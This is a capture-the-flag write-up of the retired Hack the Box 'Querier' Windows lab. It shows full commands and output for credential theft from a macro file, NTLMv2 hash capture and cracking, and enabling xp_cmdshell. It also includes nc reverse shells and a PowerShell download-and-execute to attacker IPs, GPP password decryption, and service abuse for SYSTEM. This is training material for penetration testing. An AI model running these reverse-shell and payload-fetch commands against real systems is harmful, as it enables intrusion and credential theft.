HTB – Querier

Today we are going to solve another CTF challenge “Querier” which is lab presented by Hack the Box for making online penetration practices according to your experience level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retired Querier lab.

Level: Beginners

Task: find user.txt and root.txt file in the victim’s machine.

Let’s  start with a basic nmap scan

root@kali:~/htb/QUERIER# nmap -sT -p- -oA nmap-alltcp 10.10.10.125
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-03 07:39 EDT
Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Nmap scan report for QUERIER.HTB.LOCAL (10.10.10.125)
Host is up (0.036s latency).
Not shown: 65521 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1433/tcp open ms-sql-s
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
49671/tcp open unknown

Nmap done: 1 IP address (1 host up) scanned in 21.00 seconds

nmap gives some interesting Windows services: SMB (135/139/445), MSSQL (1433), WinRM (5985):

SMB

Null Session Enumeration

smbmap doesn’t show anything with a null session:

root@kali# smbmap -H 10.10.10.125
[+] Finding open SMB ports....
[+] User SMB session establishd on 10.10.10.125...
[+] IP: 10.10.10.125:445        Name: 10.10.10.125
        Disk                                                    Permissions
        ----                                                    -----------
[!] Access Denied

And the trick I learned from ippsec does work:

root@kali:~/htb/QUERIER# smbmap -H 10.10.10.125 -u anonymous -d localhost
[+] Finding open SMB ports....
[+] Guest SMB session established on 10.10.10.125...
[+] IP: 10.10.10.125:445 Name: QUERIER.HTB.LOCAL 
Disk Permissions
---- -----------
ADMIN$ NO ACCESS
C$ NO ACCESS
IPC$ READ ONLY
Reports READ ONLY

alternatively smbclient can be used:

root@kali# smbclient -N -L //10.10.10.125

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        IPC$            IPC       Remote IPC
        Reports         Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.125 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available       

Most interesting is the share named reports.

File

I can connect to this share, and there’s a single .xlsm file. I’ll grab a copy and exit:

root@kali# smbclient -N //10.10.10.125/Reports
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Mon Jan 28 18:23:48 2019
  ..                                  D        0  Mon Jan 28 18:23:48 2019
  Currency Volume Report.xlsm         A    12229  Sun Jan 27 17:21:34 2019

                6469119 blocks of size 4096. 1585533 blocks available
smb: \> get "Currency Volume Report.xlsm"
getting file \Currency Volume Report.xlsm of size 12229 as Currency Volume Report.xlsm (92.6 KiloBytes/sec) (average 92.6 KiloBytes/sec)
smb: \> exit   

Analysis of Currency Volume Report.xlms

.xlms is a Microsoft Excel workbook with macros. I could take this over to a Windows host and open it, but a tool like olevba (part of oletools) will give me the VBA on my Linux machine:

root@kali# olevba Currency\ Volume\ Report.xlsm
olevba 0.53.1 - http://decalage.info/python/oletools
Flags        Filename
-----------  -----------------------------------------------------------------
OpX:M-S-H--- Currency Volume Report.xlsm
===============================================================================
FILE: Currency Volume Report.xlsm
Type: OpenXML
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/ThisWorkbook'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

' macro to pull data for client volume reports
'
' further testing required

Private Sub Connect()

Dim conn As ADODB.Connection
Dim rs As ADODB.Recordset

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

If conn.State = adStateOpen Then

  ' MsgBox "connection successful"

  'Set rs = conn.Execute("SELECT * @@version;")
  Set rs = conn.Execute("SELECT * FROM volume;")
  Sheets(1).Range("A1").CopyFromRecordset rs
  rs.Close

End If

End Sub
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: xl/vbaProject.bin - OLE stream: u'VBA/Sheet1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
(empty macro)
+------------+-------------+-----------------------------------------+
| Type       | Keyword     | Description                             |
+------------+-------------+-----------------------------------------+
| Suspicious | Open        | May open a file                         |
| Suspicious | Hex Strings | Hex-encoded strings were detected, may  |
|            |             | be used to obfuscate strings (option    |
|            |             | --decode to see all)                    |
+------------+-------------+-----------------------------------------+

The most interesting part there is the code the sets up the database connection:

Set conn = New ADODB.Connection
conn.ConnectionString = "Driver={SQL Server};Server=QUERIER;Trusted_Connection=no;Database=volume;Uid=reporting;Pwd=PcwTWTHRwryjc$c6"
conn.ConnectionTimeout = 10
conn.Open

From this, I can get a username (“reporting”) and password (“PcwTWTHRwryjc$c6”) to connect.

MSSQL

Connect

Armed with a username and password, I can connect with mssqlclient.py. I’ll make sure to use the -windows-auth flag, and I’m connected:

root@kali# mssqlclient.py reporting:'PcwTWTHRwryjc$c6'@10.10.10.125 -windows-auth
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: volume
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL>

Enumerate

Once connected, I can check out the database. I can see my current user’s permissions:

SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER');
entity_name    subentity_name    permission_name
------------   ---------------   ------------------
server                           CONNECT SQL
server                           VIEW ANY DATABASE

I can check out the databases available:

SQL> SELECT name FROM master.sys.databases
name
-----------
master
tempdb
model
msdb
volume

I can look for user generated tables on those databases:

SQL> use volume
[*] ENVCHANGE(DATABASE): Old Value: volume, New Value: volume
[*] INFO(QUERIER): Line 1: Changed database context to 'volume'.
SQL> SELECT name FROM sysobjects WHERE xtype = 'U'
name
------------    

Unfortunately, I don’t find much of interest.

Database Privesc: reporter –> mssql-svc

Capture Net-NTLMv2

Background

In the box that Querier replaced, Giddy, there was an SQL injection in a SQL Server instance where I used the xp_dirtree command to get it to connect to me over SMB where I was listening with responder to capture the Net-NTLMv2. (note posts on ntlmv2 and giddy). I’ll do the same thing here, just with direct access instead of SQLi.

I’ll use xp_dirtree to load a file, and I’ll tell the db that the file is in an SMB share on my hosts. The server will try to authenticate to my host, where responder will collect the Net-NTLMv2. For more details, check out the [Giddy writeup] and/or [my post on Net-NTLMv2].

xp_dirtree / responder

I’ll start responder:

root@kali# responder -I tun0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 2.3.3.9

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CRTL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Fingerprint hosts          [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.14]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']



[+] Listening for events...

Next, I’ll issue the connect to load a file using xp_dirtree from an SMB share (that doesn’t exist) on my host:

SQL> xp_dirtree '\\10.10.14.14\a';
subdirectory    depth
-------------   -----------

It doesn’t return anything, but in the responder window, I’ve captured the necessary information:

[SMBv2] NTLMv2-SSP Client   : 10.10.10.125
[SMBv2] NTLMv2-SSP Username : QUERIER\mssql-svc
[SMBv2] NTLMv2-SSP Hash     : mssql-svc::QUERIER:603386f497f98c33:CDE796E771AA42296023CFE3DF531FD7:0101000000000000C0653150DE09D201C1D5449F39E6185B000000000200080053004D004200330001001E00570049004E002D00500052004800340039003200520051004100460056000400140053004D00420033002E006C006F00630061006C0003003400570049004E002D00500052004800340039003200520051004100460056002E0053004D00420033002E006C006F00630061006C000500140053004D00420033002E006C006F00630061006C0007000800C0653150DE09D20106000400020000000800300030000000000000000000000000300000237D06AB3470A72BFB64FBDC7EE605FD85661EA58867468F6B9360642BBC52DD0A001000000000000000000000000000000000000900200063006900660073002
F00310030002E00310030002E00310034002E0031003400000000000000000000000000
[*] Skipping previously captured hash for QUERIER\mssql-svc

Crack Net-NTLMv2

Over to hashcat where I’ll try to brute force the password. I can find the hash type here or with a simple grep on the help page:

$ hashcat -h | grep -i netntlmv2
   5600 | NetNTLMv2                                        | Network Protocols

Now crack it:

$ hashcat -m 5600 mssql-svc.netntlmv2 /usr/share/wordlists/rockyou.txt -o mssql-svc.netntlmv2.cracked --force
hashcat (v4.0.1) starting...
...[snip]...

$ cat mssql-svc.netntlmv2.cracked
MSSQL-SVC::QUERIER:603386f497f98c33:cde796e771aa42296023cfe3df531fd7:0101000000000000c0653150de09d201c1d5449f39e6185b000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d20106000400020000000800300030000000000000000000000000300000237d06ab3470a72bfb64fbdc7ee605fd85661ea58867468f6b9360642bbc52dd0a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003400000000000000000000000000:corporate568

Log in as mssql-srv

Armed with the username “mssql-src” and password “corporate568”, I can now log in with the new creds:

root@kali# python3 mssqlclient.py mssql-svc:'corporate568'@10.10.10.125 -windows-auth
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: None, New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(QUERIER): Line 1: Changed database context to 'master'.
[*] INFO(QUERIER): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL> 

Shell as mssql-svc

Enumeration

With access to the mssql-svc account, I have a lot more privilege on the database:

SQL> SELECT * FROM fn_my_permissions(NULL, 'SERVER');
entity_name     subentity_name     permission_name
-------------   ----------------   --------------------------------
server                             CONNECT SQL                                                            
server                             SHUTDOWN                                                               
server                             CREATE ENDPOINT                                                        
server                             CREATE ANY DATABASE                                                    
server                             CREATE AVAILABILITY GROUP                                              
server                             ALTER ANY LOGIN                                                        
server                             ALTER ANY CREDENTIAL                                                   
server                             ALTER ANY ENDPOINT                                                     
server                             ALTER ANY LINKED SERVER                                                
server                             ALTER ANY CONNECTION                                                   
server                             ALTER ANY DATABASE                                                     
server                             ALTER RESOURCES                                                        
server                             ALTER SETTINGS                                                         
server                             ALTER TRACE                                                            
server                             ALTER ANY AVAILABILITY GROUP                                           
server                             ADMINISTER BULK OPERATIONS                                             
server                             AUTHENTICATE SERVER                                                    
server                             EXTERNAL ACCESS ASSEMBLY                                               
server                             VIEW ANY DATABASE                                                      
server                             VIEW ANY DEFINITION                                                    
server                             VIEW SERVER STATE                                                      
server                             CREATE DDL EVENT NOTIFICATION                                          
server                             CREATE TRACE EVENT NOTIFICATION                                        
server                             ALTER ANY EVENT NOTIFICATION                                           
server                             ALTER SERVER STATE                                                     
server                             UNSAFE ASSEMBLY                                                        
server                             ALTER ANY SERVER AUDIT                                                 
server                             CREATE SERVER ROLE                                                     
server                             ALTER ANY SERVER ROLE                                                  
server                             ALTER ANY EVENT SESSION                                                
server                             CONNECT ANY DATABASE                                                   
server                             IMPERSONATE ANY LOGIN                                                  
server                             SELECT ALL USER SECURABLES                                             
server                             CONTROL SERVER  

xp_cmdshell

It still won’t let me run xp_cmdshell, the command to run commands:

SQL> xp_cmdshell whoami
[-] ERROR(QUERIER): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because this component is turned off as part of the security configuration for this server. A system administrator can enable the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for 'xp_cmdshell' in SQL Server Books Online.

Note, the actual syntax to run a command is EXEC xp_cmdshell '[command]';. However, the client I’m using to connect, mssqlclient.py has a build in command to run a command over xp_cmdshell, so I can just type xp_cmdshell [command].

As mssql-svc, I can enable xp_cmdshell (something I couldn’t do as reporting). Just like running a command, there is an alias to do this in the script. The full commands are (from Microsoft’s documentation):

-- To allow advanced options to be changed.  
EXEC sp_configure 'show advanced options', 1;  
GO  
-- To update the currently configured value for advanced options.  
RECONFIGURE;  
GO  
-- To enable the feature.  
EXEC sp_configure 'xp_cmdshell', 1;  
GO  
-- To update the currently configured value for this feature.  
RECONFIGURE;  
GO

The shell’s alias works:

SQL> enable_xp_cmdshell
[*] INFO(QUERIER): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
[*] INFO(QUERIER): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.

SQL> xp_cmdshell whoami
output
--------------------------------------------------------------------------------
querier\mssql-svc
NULL

Shell

To get a full shell on the box, there are many ways to go. I’ll host nc on an smb server, and let windows run it from there.

Start my smb server:

root@kali# ls smb/
nc64.exe
root@kali# sudo python3 smbserver.py -smb2support a smb/
Impacket v0.9.19-dev - Copyright 2018 SecureAuth Corporation

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed

I’ll also start a nc listener on port 443. Then I’ll tell the Windows box to run it from the share:

SQL> xp_cmdshell \\10.10.14.10\a\nc64.exe -e cmd.exe 10.10.14.10 443
output                                                            
--------------------------------------------------------------------------------
NULL  
C:\Users\mssql-svc\AppData\Local\Temp> xcopy \\10.10.14.10\a\nc64.exe .
\\10.10.14.10\a\nc64.exe
1 File(s) copied

C:\Users\mssql-svc\AppData\Local\Temp>
C:\Users\mssql-svc\AppData\Local\Temp> nc64.exe -e cmd.exe 10.10.14.10 443

In the nc window (remember to rlwrap for arrow key support):

root@kali# rlwrap nc -lnvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49683.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

Alternatively:

SQL> exec xp_cmdshell "PowerShell IEX(IWR('http://10.10.14.7/puckieshell443.ps1'))" 
root@kali:~/htb/QUERIER# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.125 - - [03/Jul/2019 08:44:40] "GET /puckieshell443.ps1 HTTP/1.1" 200 -
root@kali:~/htb/QUERIER# nc -lvp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49678.
Windows PowerShell running as user mssql-svc on QUERIER
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Windows\system32>whoami 
querier\mssql-svc
PS C:\Windows\system32> type C:\Users\mssql-svc\Desktop\user.txt
c37*****3c16

Privesc: mssql-svc –> Administrator

Enumeration

One of the best enumeration scripts for Windows is PowerUp.ps1 from PowerSploit. To run it here, I’ll make a copy of it in the smb share:

root@kali# cp /opt/PowerSploit/Privesc/PowerUp.ps1 smb/

The nc shell is stable enough to load an interactive PowerShell session:

C:\Users\mssql-svc\Desktop>powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\mssql-svc\Desktop> whoami
querier\mssql-svc

Windows sometimes has issues loading PowerShell scripts off of file shares, but I can move to temp, copy the file there, and then import it:

PS C:\Users\mssql-svc\Desktop> cd ..\appdata\local\temp

PS C:\Users\mssql-svc\appdata\local\temp> xcopy \\10.10.14.10\a\PowerUp.ps1 .
xcopy \\10.10.14.14\a\PowerUp.ps1 .
\\10.10.14.14\a\PowerUp.ps1
1 File(s) copied

PS C:\Users\mssql-svc\appdata\local\temp> . .\PowerUp.ps1
. .\PowerUp.ps1

Now I can run it with Invoke-AllChecks:

PS C:\Users\mssql-svc\appdata\local\temp> Invoke-AllChecks

Privilege   : SeImpersonatePrivilege
Attributes  : SE_PRIVILEGE_ENABLED_BY_DEFAULT, SE_PRIVILEGE_ENABLED
TokenHandle : 2212
ProcessId   : 192
Name        : 192
Check       : Process Token Privileges

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

UnattendPath : C:\Windows\Panther\Unattend.xml
Name         : C:\Windows\Panther\Unattend.xml
Check        : Unattended Install Files

Changed   : {2019-01-28 23:12:48}
UserNames : {Administrator}
NewName   : [BLANK]
Passwords : {MyUnclesAreMarioAndLuigi!!1!}
File      : C:\ProgramData\Microsoft\Group
            Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml
Check     : Cached GPP Files

Alternatively use

PS C:\users\public> IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.10/PowerUp.ps1')
[*] Running Invoke-AllChecks
...

There’s a ton of interesting stuff in here, and I’ll spend some time on each of these in Beyond Root. For now, I’ll jump on the most obvious result, the GPP password file with the username / password combination of “Administrator” / “MyUnclesAreMarioAndLuigi!!1!”.

Administrator Shell

With the administrator account password, a shell is pretty simple. I’ll use wmiexec:

┌─[puck@parrot-lt]─[~/htb/querier]
└──╼ $python3 wmiexec.py 'administrator:MyUnclesAreMarioAndLuigi!!1!@10.10.10.125'
Impacket v0.9.22 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
querier\administrator

C:\>

From there, root.txt is simple:

C:\users\administrator\desktop>type root.txt
b19c3794...

Beyond Root

Overview of results

PowerUp showed five potential paths to SYSTEM:

  • SeImpersonatePrivilege
  • Modifiable Service – UsoSvc
  • %PATH% .dll Hijacks
  • Unattended Install Files
  • Cached GPP Files

I used the last one to get Administrator access in the main write up, as it simply provided the administrator credentials, and it’s pretty easy to understand.

I’ll take a look at the other four results.

RIP Juicy Potato

It seems like Microsoft may have fixed the path from SeImpresonate to SYSTEM in Server 2019, and that’s what this host is:

PS C:\Users\mssql-svc\Desktop> gwmi win32_operatingsystem | % caption
Microsoft Windows Server 2019 Standard 

So this is a dead end.

Unattended Install Files

Jumping to the fourth item, there can be passwords in unattended.xml files. Unfortunately for me, not in these:

PS C:\windows\panther> type unattend.xml | findstr /i password
type unattend.xml | findstr /i password
     <Password>*SENSITIVE*DATA*DELETED*</Password>
       <Password>*SENSITIVE*DATA*DELETED*</Password>

Modifiable Service Abuse

One thing that Invoke-AllChecks runs is the Get-ModifiableService commandlet. It:

Enumerates all services and returns services for which the current user can modify the binPath.

This is what produced the following output when I ran Invoke-AllChecks above:

ServiceName   : UsoSvc
Path          : C:\Windows\system32\svchost.exe -k netsvcs -p
StartName     : LocalSystem
AbuseFunction : Invoke-ServiceAbuse -Name 'UsoSvc'
CanRestart    : True
Name          : UsoSvc
Check         : Modifiable Services

They suggest running Invoke-ServiceAbuse. I’ll take a look at the source for this function. It will enable the service (if it isn’t already enabled), and backup the current service binary. It will then set the service to run the input commands, run the service, wait, then stop the service,

PS C:\users\public> Restart-Service UsoSvc

and restore the original binary.

PS C:\Users\mssql-svc\AppData\Local\Temp> Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"                                                                                                 
Invoke-ServiceAbuse -Name 'UsoSvc' -Command "\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443"

ServiceAbused Command
------------- -------
UsoSvc        \\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 443

And get a shell as SYSTEM:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49682.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
nt authority\system

However, because the script is made to run commands and then stop the service, it dies quickly (even if it tried to leave them going, nc64.exe isn’t a service binary so it would die very quickly). I could use msfvenom to create a service binary, or I can just have the first shell execute nc again. That new ncprocess will live on even after it’s parent has died:

root@kali# nc -lvnp 443
Ncat: Version 7.70 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on 0.0.0.0:443
Ncat: Connection from 10.10.10.125.
Ncat: Connection from 10.10.10.125:49686.
Microsoft Windows [Version 10.0.17763.292]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444
\\10.10.14.14\a\nc64.exe -e cmd.exe 10.10.14.14 444

I could also have had the PowerUp command add an admin user, or schedule a task to run nc and connect back to me every minute. Both of those commands would run and finish quickly, without issue.

.dll Hijack

Invoke-AllChecks also runs Find-PathDLLHijack, which:

Enumerates the paths stored in Env:Path (%PATH) and filters each through Get-ModifiablePath to return the folder paths the current user can write to.

The run on Querier returned:

ModifiablePath    : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
IdentityReference : QUERIER\mssql-svc
Permissions       : {WriteOwner, Delete, WriteAttributes, Synchronize...}
%PATH%            : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Name              : C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps
Check             : %PATH% .dll Hijacks
AbuseFunction     : Write-HijackDll -DllPath 'C:\Users\mssql-svc\AppData\Local\Microsoft\WindowsApps\wlbsctrl.dll'

It’s saying that that I can write to the dll at the location in AppData. The problem is, I don’t have a good way to then restart a service or anything else that will use this dll and is running as administrator or system, so it’s a dead end for HTB.

Manual Exploitation (Group Policy Preference Password Finder)

In order to exploit this issue manually it is needed to manually browse to the Groups.xml file which is stored in a shared directory in the domain controller and obtain the value of the attribute cpassword.

PS C:\programdata> cmd.exe /c "dir /s /b |findstr Group" 
C:\programdata\Microsoft\Group Policy
C:\programdata\Microsoft\Group Policy\Trace
C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}
C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine
C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences
C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups
C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml

PS C:\programdata> get-content "C:\programdata\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml"
<?xml version="1.0" encoding="UTF-8" ?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="Administrator" image="2" changed="2019-01-28 23:12:48" uid="{CD450F70-CDB8-4948-B908-F8D038C59B6C}" userContext="0" removePolicy="0" policyApplied="1">
<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverExpires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>
PS C:\programdata> 

Then this value can be passed into another tool which can decrypt the value.

c:\PENTEST>gp3finder.exe

Group Policy Preference Password Finder (GP3Finder) $Revision: 4.0 $
Copyright (C) 2015 Oliver Morton (Sec-1 Ltd)
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.

Specify: encrypt, decrypt or auto.
usage: gp3finder.exe [-h] [-D DECRYPT | -E ENCRYPT | -A] [-l] [-lr LOCAL_ROOT]
[-rr REMOTE_ROOT] [-o OUTFILE] [-t HOSTS [HOSTS ...] | -f
FILE] [-v] [-V] [-u USER] [-s SHARE]

c:\PENTEST>gp3finder.exe -D CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ

Group Policy Preference Password Finder (GP3Finder) $Revision: 4.0 $
Copyright (C) 2015 Oliver Morton (Sec-1 Ltd)
This program comes with ABSOLUTELY NO WARRANTY.
This is free software, and you are welcome to redistribute it
under certain conditions. See GPLv2 License.

MyUnclesAreMarioAndLuigi!!1!

reference used : https://0xdf.gitlab.io/2019/06/22/htb-querier.html

Author – Puckiesyle